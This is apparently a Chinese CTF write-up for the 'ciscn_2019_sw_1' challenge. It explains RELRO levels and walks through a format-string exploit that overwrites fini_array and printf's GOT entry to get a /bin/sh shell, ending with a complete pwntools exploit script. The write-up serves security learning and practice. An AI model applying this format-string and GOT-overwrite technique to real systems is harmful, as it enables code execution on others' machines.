0%

ciscn_2019_sw_1

ciscn_2019_sw_1

学习与收获

  1. 对于RELRO保护,有以下3种情况:

    No RELROinit.arrayfini.arraygot.plt均可读可写

    PARTIAL RELROinit.arrayfini.array可读不可写,got.plt可读可写

    FULL RELROinit.arrayfini.arraygot.plt均可读不可写

  2. 程序在加载的时候,会依次调用init_arry中的每一个函数指针,程序在结束的时候,会依次调用fini_array中的每一个函数指针,而我们可以修改其中的函数指针为main函数地址,使main函数再执行一次。一般来说,这个数组的长度为1,也就是说只能写一个地址。

  3. 有时候思路对了一直打不通,可能是参数偏移量算错了。

保护&源码

保护:

image-20240305180931509

源码:

int __cdecl main(int argc, const char **argv, const char **envp)
{
char format[68]; // [esp+0h] [ebp-48h] BYREF

setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
puts("Welcome to my ctf! What's your name?");
__isoc99_scanf("%64s", format);
printf("Hello ");
printf(format);
return 0;
}
int sys()
{
return system(command);
}

思路

​ 程序中有一个格式化字符串漏洞,但只能执行一次格式化漏洞函数,有system函数。我们可以看到printf(format)后面main函数就执行完了,所以不管我们修改哪一个函数的got表值为system@plt的地址,都不行。后来看wp,发现我们可以修改fini_array的函数指针为main函数地址,这样就能再执行一次main函数了。

​ 刚开始用下面这个方法,泄漏我们输入的第一个参数在栈中的偏移量,以为是4,一直打不通,调试的时候查看栈中的值,发现栈中的第1,25个参数都是我们输入的第一个参数,所以我们并不能确定准确的偏移量

image-20240305185357092

image-20240305185647495

​ 然后我发送下面这个payload

payload = b'aaaabbbb'+b'%p%p%p%p%p'

​ 现在可以看出泄漏的第1个参数地址是栈中的第2个参数,也就是说我们计算偏移量的时候要从02这个序号开始往下数

image-20240305185704092

exp

from tools import *
#p = process('./sw1')
p = remote("node5.buuoj.cn",26399)
#debug(p,0x80485A8)
#context.arch='i386'
elf = ELF('./sw1')

main_addr = 0x08048534
fini_array_addr = 0x0804979C
printf_got = 0x0804989c
sys_plt = 0x080483d0

payload = p32(printf_got+2)+p32(printf_got)+p32(fini_array_addr)
payload += b'%'+bytes(str(0x804-12),encoding='utf-8')+b'c'+b'%4$hn'
#这里还要减去12,因为前面发送的3个地址一共12个字节
payload += b'%'+bytes(str(0x83d0-0x804),encoding='utf-8')+b'c'+b'%5$hn'
payload += b'%'+bytes(str(0x8534-0x83d0),encoding='utf-8')+b'c'+b'%6$hn'
p.recvuntil(b'name?')
p.sendline(payload)
p.sendline(b'/bin/sh\x00')

p.interactive()

拿到flag

image-20240305190402927